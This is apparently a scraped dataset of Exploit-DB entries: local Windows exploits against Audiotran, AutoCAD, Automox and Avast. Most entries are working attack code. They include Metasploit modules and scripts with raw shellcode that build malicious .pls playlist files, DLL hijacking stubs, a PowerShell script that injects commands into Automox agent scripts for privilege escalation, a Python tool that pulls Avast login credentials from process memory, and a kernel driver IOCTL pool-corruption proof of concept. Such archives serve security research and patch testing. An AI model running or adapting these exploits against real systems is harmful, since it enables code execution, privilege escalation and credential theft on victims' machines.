deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31766
Description: Audiotran - '.pls' Local Stack Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2014-02-19
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Audiotran PLS File Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in Audiotran 1.4.2.4.
        An attacker must send the file to victim and the victim must open the file.
        Alternatively, it may be possible to execute code remotely via an embedded
        PLS file within a browser when the PLS extention is registered to Audiotran.
        This alternate vector has not been tested and cannot be exercised directly
        with this module.
      },
      'License'        => MSF_LICENSE,
      'Author'    =>
        [
          'Philip OKeefe',
        ],
      'References'     =>
        [
          [ 'EDB', '14961' ]
        ],
      'Payload'        =>
        {
          'Space'    => 5000,
          'BadChars' => "\x00\x0a\x0d\x3d",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', { 'Ret' => 0x1001cd67 } ], #p/p/r from amp3dj.ocx
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Sep 09 2010',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
        ], self.class)
  end

  def exploit
    sploit = "[playlist]\r\nFile1="
    sploit << rand_text_alpha_upper(1940)
    sploit << generate_seh_payload(target.ret)
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)
  end
end
Exploit-DB #11079
Description: Audiotran 1.4.1 (Windows XP SP2/SP3 English) - Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-01-10
Author: Sébastien Duquette

Exploit:
#!/usr/bin/ruby
#
# Exploit Title : Audiotran 1.4.1 Win XP SP2/SP3 English Buffer Overflow
# Date          : January 9th, 2010
# Author        : Sébastien Duquette
# Software Link : http://www.e-soft.co.uk/Audiotran.htm
# Version       : 1.4.1
# OS            : Windows
# Tested on     : XP SP2/SP3 En (VMware)
# Type of vuln  : Stack Overflow / SEH
# Greetz to     : Corelan Team::corelanc0d3r/EdiStrosar/Rick2600/MarkoT/mr_me
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
#
#
#

banner =
"|------------------------------------------------------------------|\n" +
"|                         __               __                      |\n" +
"|   _________  ________  / /___ _____     / /____  ____ _____ ___  |\n" +
"|  / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\   / __/ _ \\/ __ `/ __ `__ \\ |\n" +
"| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |\n" +
"| \\___/\\____/_/   \\___/_/\\__,_/_/ /_/   \\__/\\___/\\__,_/_/ /_/ /_/  |\n" +
"|                                                                  |\n" +
"|                                       http://www.corelan.be:8800 |\n" +
"|                                                                  |\n" +
"|-------------------------------------------------[ EIP Hunters ]--|\n\n"

# Corelan Team MsgBox
payload =
"\xeb\x22\x56\x31\xc0\x64\x8b\x40\x30\x85\xc0\x78" +
"\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xeb" +
"\x09\x8b\x40\x34\x8d\x40\x7c\x8b\x40\x3c\x5e\xc3" +
"\xeb\x69\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54" +
"\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb" +
"\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0" +
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb" +
"\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb" +
"\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b" +
"\x01\xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8" +
"\xaa\xff\xff\xff\x89\x07\x44\x44\x44\x44\x44\x44" +
"\x44\x44\x47\x47\x47\x47\x39\xce\x75\xe6\xc3\x4c" +
"\x4c\x4c\x4c\x89\xe5\xe8\x68\xff\xff\xff\x89\xc2" +
"\xeb\x1c\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8" +
"\xc8\xff\xff\xff\xeb\x15\x31\xd2\x59\x88\x51\x36" +
"\x51\x52\xff\x54\x24\x0c\xe8\xdf\xff\xff\xff\x57" +
"\x7f\x29\x62\xe8\xe6\xff\xff\xff\x43\x6f\x72\x65" +
"\x6c\x61\x6e\x20\x54\x65\x61\x6d\x20\x53\x68\x65" +
"\x6c\x6c\x63\x6f\x64\x65\x20\x2d\x20\x50\x72\x6f" +
"\x67\x72\x61\x6d\x20\x65\x78\x70\x6c\x6f\x69\x74" +
"\x65\x64\x20\x73\x75\x63\x65\x73\x73\x66\x75\x6c" +
"\x6c\x79\x58"

print banner
puts "[+] Exploit for Audiotran 1.4.1."

filename = "audiotran_poc.pls"
f = File.new(filename, 'w')
f.write 'A' * 1308 #padding
f.write "\xeb\x06\x90\x90"
f.write "\xcb\x75\x52\x73" # ret at 0x735275CB [msvbvm60.dll]
f.write payload
f.write 'A' * 9000 # padding
f.close

puts "[+] Wrote exploit file : #{filename}."
Exploit-DB #16626
Description: Audiotran 1.4.1 - '.pls' Local Stack Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-01-28
Author: Metasploit

Exploit:
##
# $Id: audiotran_pls.rb 8306 2010-01-28 21:04:01Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Audiotran 1.4.1 (PLS File) Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in Audiotran 1.4.1.
				An attacker must send the file to victim and the victim must open the file.
				Alternatively it may be possible to execute code remotely via an embedded
				PLS file within a browser, when the PLS extention is registered to Audiotran.
				This functionality has not been tested in this module.
			},
			'License'        => MSF_LICENSE,
			'Author' 	 =>
				[
					'Sebastien Duquette',
					'dookie',
				],
			'Version'        => '$Revision: 8306 $',
			'References'     =>
				[
					[ 'CVE', '2009-0476'],
					[ 'OSVDB', '55424'],
					[ 'URL', 'http://www.exploit-db.com/exploits/11079' ],
				],
			'Payload'        =>
				{
					'Space'    => 6000,
					'BadChars' => "\x00\x0a\x3d",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x10101A3E } ], #p/p/r in rsaadjd.tmp
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jan 09 2010',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
				], self.class)

	end

	def exploit

		sploit = rand_text_alpha_upper(1308)
		sploit << generate_seh_payload(target.ret)
		sploit << rand_text_alpha_upper(8000)

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(sploit)

	end

end
Exploit-DB #11109
Description: Audiotran 1.4.1 - '.pls' Local Stack Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-01-11
Author: dookie

Exploit:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Audiotran 1.4.1 (PLS File) Stack Overflow.',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in Audiotran 1.4.1.
     An attacker must send the file to victim and the victim must open the file.
     Alternatively it may be possible to execute code remotely via an embedded
     PLS file within a browser, when the PLS extention is registered to Audiotran.
     This functionality has not been tested in this module.
   },
   'License'        => MSF_LICENSE,
   'Author'   =>
    [
     'Sebastien Duquette',
     'dookie',
    ],
   'Version'        => '$Revision: 8091 $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/11079' ],
    ],
   'Payload'        =>
    {
     'Space'    => 6000,
     'BadChars' => "\x00\x0a\x3d",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Windows Universal', { 'Ret' => 0x10101A3E } ], #p/p/r in rsaadjd.tmp
    ],
   'Privileged'     => false,
   'DisclosureDate' => '09 Jan 2010',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ true, 'The file name.',  'audiotran.pls']),
    ], self.class)

 end

 def exploit

  sploit = rand_text_alpha_upper(1308)
  sploit << generate_seh_payload(target.ret)
  sploit << rand_text_alpha_upper(8000)

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(sploit)

 end

end
Exploit-DB #11171
Description: Audiotran 1.4.1 - Direct RET Buffer Overflow
Type: local
Platform: windows
Date: 2010-01-17
Author: jacky

Exploit:
# Exploit Title: Audiotran v1.4.1 direct RET BOF
# Date: 2010-1-16
# Author: Jacky
# Software Link: http://www.e-soft.co.uk/Audiotran.htm
# Version: 1.4.1
# Tested on: Windows XP SP2
# CVE : [if exists]
# Code :
#Audiotran v1.4.1 Direct RET local BOF Vulnerability.
#Exploit Discovered by Sébastien Duquette (Greetz to him :P )
#Written and coded by Jacky
#All Greetz to Corelan team !
#I saw this exploit written in python with SEH method !
#When i tested it i saw that it could be exploited by a Direct RET Address !
my $file="Crash.pls";
my $junk="A"x1324;
my $eip=pack('V',0x77D8AED0); #JMP ESP from USER32.DLL!
my $presc="SEXY";
my $sc="\x90"x50;
$sc=$sc."\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x57".
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38".
"\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x43\x4b\x58".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x38\x42\x4c".
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x34".
"\x4b\x48\x4f\x35\x4e\x51\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x48".
"\x41\x30\x4b\x4e\x49\x38\x4e\x35\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x48\x42\x54\x42\x33\x45\x38\x42\x4c\x4a\x57".
"\x4e\x50\x4b\x48\x42\x54\x4e\x30\x4b\x38\x42\x57\x4e\x41\x4d\x4a".
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x48\x42\x4b".
"\x42\x50\x42\x30\x42\x30\x4b\x38\x4a\x36\x4e\x53\x4f\x35\x41\x43".
"\x48\x4f\x42\x46\x48\x55\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x30\x5a";
open(INI,">$file");
print "[+]Creating Malicious Playlist File!\n";
print INI $junk.$eip.$presc.$sc;
print "[+]File Created!\n";
print "[+]Real Author of the vulnerability is Sebastien Duquette!\n"
print "[+]All Rights are reserved to him !\n";
print "[+]Coded by Jacky!\n";
close(INI);
Exploit-DB #14793
Description: Autodesk AutoCAD 2007 - 'color.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: xsploited security

Exploit:
/*
Description: 
A vulnerability exists in windows that allows other applications dynamic link libraries
to execute malicious code without the users consent, in the privelage context of the targeted application.

Title: Autocad 2007 Professional dll (color.dll) Hijacking exploit
Author: xsploited security
URL: http://www.x-sploited.com/
Email: xsploitedsecurity@gmail.com

Instructions:

1. Compile dll
2. Replace color.dll in autocad directory with your newly compiled dll
3. Launch Autocad 2007
4. Boom calc!

Shoutz:

kAoTiX, Deca, Drizzle, 0xJeremy, Sheep, SpliT, all other security guru's and teams.
*/

#include <windows.h>

int pwnme()
{
  WinExec("calc", SW_NORMAL);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  pwnme();
  return 0;
}
Exploit-DB #50642
Description: Automox Agent 32 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2022-01-05
Author: Greg Foss

Exploit:
# Exploit Title: Automox Agent 32 - Local Privilege Escalation
# Date: 13/12/2021
# Exploit Author: Greg Foss
# Writeup: https://www.lacework.com/blog/cve-2021-43326/
# Vendor Homepage: https://www.automox.com/
# Software Link: https://support.automox.com/help/agents
# Version: 31, 32, 33
# Tested on: Windows 10
# Language: PowerShell
# CVE: CVE-2021-43326

New-Item -ItemType Directory -Force -Path $HOME\Desktop\automox\
$payload = "whoami >> $HOME\Desktop\automox\who.txt"
echo ""
echo "Watching for Automox agent interaction..."
echo ""
for (($i = 0); $i -lt 500; $i++) {
    if (Test-Path -Path \ProgramData\amagent\execDir*\*.ps1) {
        try {
            $dir = Get-ChildItem \ProgramData\amagent\execDir* | Select-Object Name
            $dir = $dir.name
            $file = Get-ChildItem \ProgramData\amagent\$dir\*.ps1 | Select-Object Name
            $file = $file.name
            (Get-Content -Path \ProgramData\amagent\$dir\$file -Raw) -replace "#endregion", "$payload" | Set-Content -Path \ProgramData\amagent\$dir\$file
            cp -r \ProgramData\amagent\$dir $HOME\Desktop\automox\
            echo 'popped :-)'
            Start-Sleep 5
            echo ''
            echo 'cloning all powershell script content...'
            for (($i = 0); $i -lt 100; $i++) {
                cp -r \ProgramData\amagent\* $HOME\Desktop\automox\ -Force
                Start-Sleep 1
            }
            exit
        } catch {
            throw $_.Exception.Message
        }
    } else {
        echo $i
        Start-Sleep 1
    }
}
Exploit-DB #46345
Description: Avast Anti-Virus < 19.1.2360 - Local Credentials Disclosure
Type: local
Platform: windows
Date: 2019-02-11
Author: Nathu Nandwani

Exploit:
# Exploit Title: Avast Anti-Virus Local Credentials Disclosure < 19.1.2360
# Date: 01/18/2019
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co/
# Version: before 19.1.2360 (build 19.1.4142.0)
# Tested on: Windows 10 x64
# CVE: CVE-2018-12572
# Based on LiquidWorm's and Yakir Wizman's proof of concepts

from winappdbg import Debug, Process

debug = Debug()
processname = "AvastUI.exe"
pid = 0
mem_contents = []

email = ""
password = ""

try:
    debug.system.scan_processes()
    for (process, process_name) in debug.system.find_processes_by_filename(processname):
        pid = process.get_pid()
    if pid is not 0:
        print ("AvastUI PID: " + str(pid))
        process = Process(pid)
        for i in process.search_regexp('"password":"'):
            mem_contents.append(process.read(i[0], 200))
            print "Dump: "
            print process.read(i[0], 200)
        for i in mem_contents:
            password = i.split(",")[0]
        for i in process.search_regexp('"email":"'):
            mem_contents.append(process.read(i[0], 200))
            print "Dump: "
            print process.read(i[0], 200)
        for i in mem_contents:
            email = i.split(",")[0]
        if email != "" and password != "":
            print ""
            print "Found Credentials from Memory!"
            print email
            print password
        else:
            print "No credentials found!"
    else:
        print "Avast not running!"
finally:
    debug.stop()
Exploit-DB #52510
Description: AVAST Antivirus 25.11 - Unquoted Service Path
Type: local
Platform: windows
Date: 2026-04-22
Author: Milad Karimi (Ex3ptionaL)

Exploit:
# Exploit Title: AVAST Antivirus 25.11 - Unquoted Service Path
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Date: 2025-12-17
# Vendor Homepage:https://www.avast.com/
# Software Link :
https://www.avast.com/es-mx/download-thank-you.php?product=SLN&locale=es-mx
# Tested Version: 25.11
# Tested on OS: Windows 11


Description
AVAST Antivirus 25.11 an unquoted service path vulnerability that allows
local non-privileged users to potentially execute code with elevated SYSTEM
privileges. Attackers can exploit the unquoted service path configuration
to inject malicious executables that will be run with high-level system
permissions.



PoC
C:\>sc qc SecureLine
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SecureLine
        TIPO : 10 WIN32_OWN_PROCESS
        TIPO_INICIO : 2 AUTO_START
        CONTROL_ERROR : 1 NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\AVAST
Software\SecureLine\VpnSvc.exe
        GRUPO_ORDEN_CARGA :
        ETIQUETA : 0
        NOMBRE_MOSTRAR : Avast SecureLine
        DEPENDENCIAS :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #48249
Description: AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-03-25
Author: Roberto Piña

Exploit:
# Exploit Title: AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-03-24
# Vendor Homepage:https://www.avast.com/
# Software Link :https://www.avast.com/es-mx/download-thank-you.php?product=SLN&locale=es-mx
# Tested Version: 5.5.522.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 8.1 Single Language x32 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | f
indstr /i /v "C:\Windows\\" | findstr /i "Avast SecureLine" | findstr /i /v """
Avast SecureLine
         SecureLine                       C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe                                         
                                                       Auto

C:\>sc qc SecureLine
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SecureLine
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Avast SecureLine
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


# Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.
Exploit-DB #14743
Description: Avast! 5.0.594 - 'mfc90loc.dll' License Files DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: diwr

Exploit:
/*
# Exploit Title: avast! license files DLL Hijacking Exploit (mfc90loc.dll)
# Date: 25/08/2010
# Author: Bruno Filipe (diwr) http://digitalacropolis.us
# Software Link: http://www.avast.com
# Version: <= 5.0.594
# Tested on: WinXP SP2, WinXP SP3
# Thx TheLeader ;)
#
----------------------------------------------------------------------------------------------------------
# This should work with avast license files (.avastlic)
# 1. gcc dllmain.c -o mfc90loc.dll
# 2. Put mfc90ptb.dll in the same directory of an avast license file (EG:
anything.avastlic)
# 3. You can generate a msfpayload DLL and spawn a shell, for example.
#
----------------------------------------------------------------------------------------------------------
*/

#include <windows.h>

int main()
{
  WinExec("calc", SW_NORMAL);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  main();
  return 0;
}
Exploit-DB #33360
Description: Avast! AntiVirus 4.8.1356 - 'aswRdr.sys' Driver Privilege Escalation
Type: local
Platform: windows
Date: 2009-11-16
Author: Evilcry

Exploit:
// source: https://www.securityfocus.com/bid/37031/info

Avast! Antivirus is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue to execute arbitrary code with superuser privileges and completely compromise the affected computer. Failed exploit attempts will result in a denial-of-service condition.

Avast! Antivirus 4.8.1356 is vulnerable; other versions may also be affected.

/* Avast 4.8.1356.0 antivirus aswRdr.sys Kernel Pool Corruption
*
* Author(s): Giuseppe 'Evilcry' Bonfa'
*            AbdulAziz Hariri
* E-Mail: evilcry _AT_ gmail _DOT_ com
* Website: http://evilcry.netsons.org
*          http://evilcodecave.blogspot.com
*          http://evilcodecave.wordpress.com
*     http://evilfingers.com
*
*  Disclosure Timeline: As specified in the Advisory.
*/

#define WIN32_LEAN_AND_MEAN
#include
#include


BOOL OpenDevice(PWSTR DriverName, HANDLE *lphDevice) //taken from esagelab
{
 WCHAR DeviceName[MAX_PATH];
 HANDLE hDevice;

 if ((GetVersion() & 0xFF) >= 5)
 {
  wcscpy(DeviceName, L"\\\\.\\Global\\");
 }
 else
 {
  wcscpy(DeviceName, L"\\\\.\\");
 }

 wcscat(DeviceName, DriverName);

 printf("Opening.. %S\n", DeviceName);

 hDevice = CreateFileW(DeviceName, GENERIC_READ | GENERIC_WRITE, 0,
NULL, OPEN_EXISTING,
  FILE_ATTRIBUTE_NORMAL, NULL);

 if (hDevice == INVALID_HANDLE_VALUE)
 {
  printf("CreateFile() ERROR %d\n", GetLastError());
  return FALSE;
 }

 *lphDevice = hDevice;

 return TRUE;
}

int main()
{
 HANDLE hDev = NULL;
 DWORD Junk;

 if(!OpenDevice(L"aswRDR",&hDev))
 {
  printf("Unable to access aswMon");
  return(0);
 }

 char *Buff = (char *)VirtualAlloc(NULL, 0x156, MEM_RESERVE |
MEM_COMMIT, PAGE_EXECUTE_READWRITE);

 if (Buff)
 {
  memset(Buff, 'A', 0x156);

DeviceIoControl(hDev,0x80002024,Buff,0x156,Buff,0x156,&Junk,(LPOVERLAPPED)NULL);
  printf("DeviceIoControl Executed..\n");
 }
 else
 {
  printf("VirtualAlloc() ERROR %d\n", GetLastError());
 }


 return(0);
}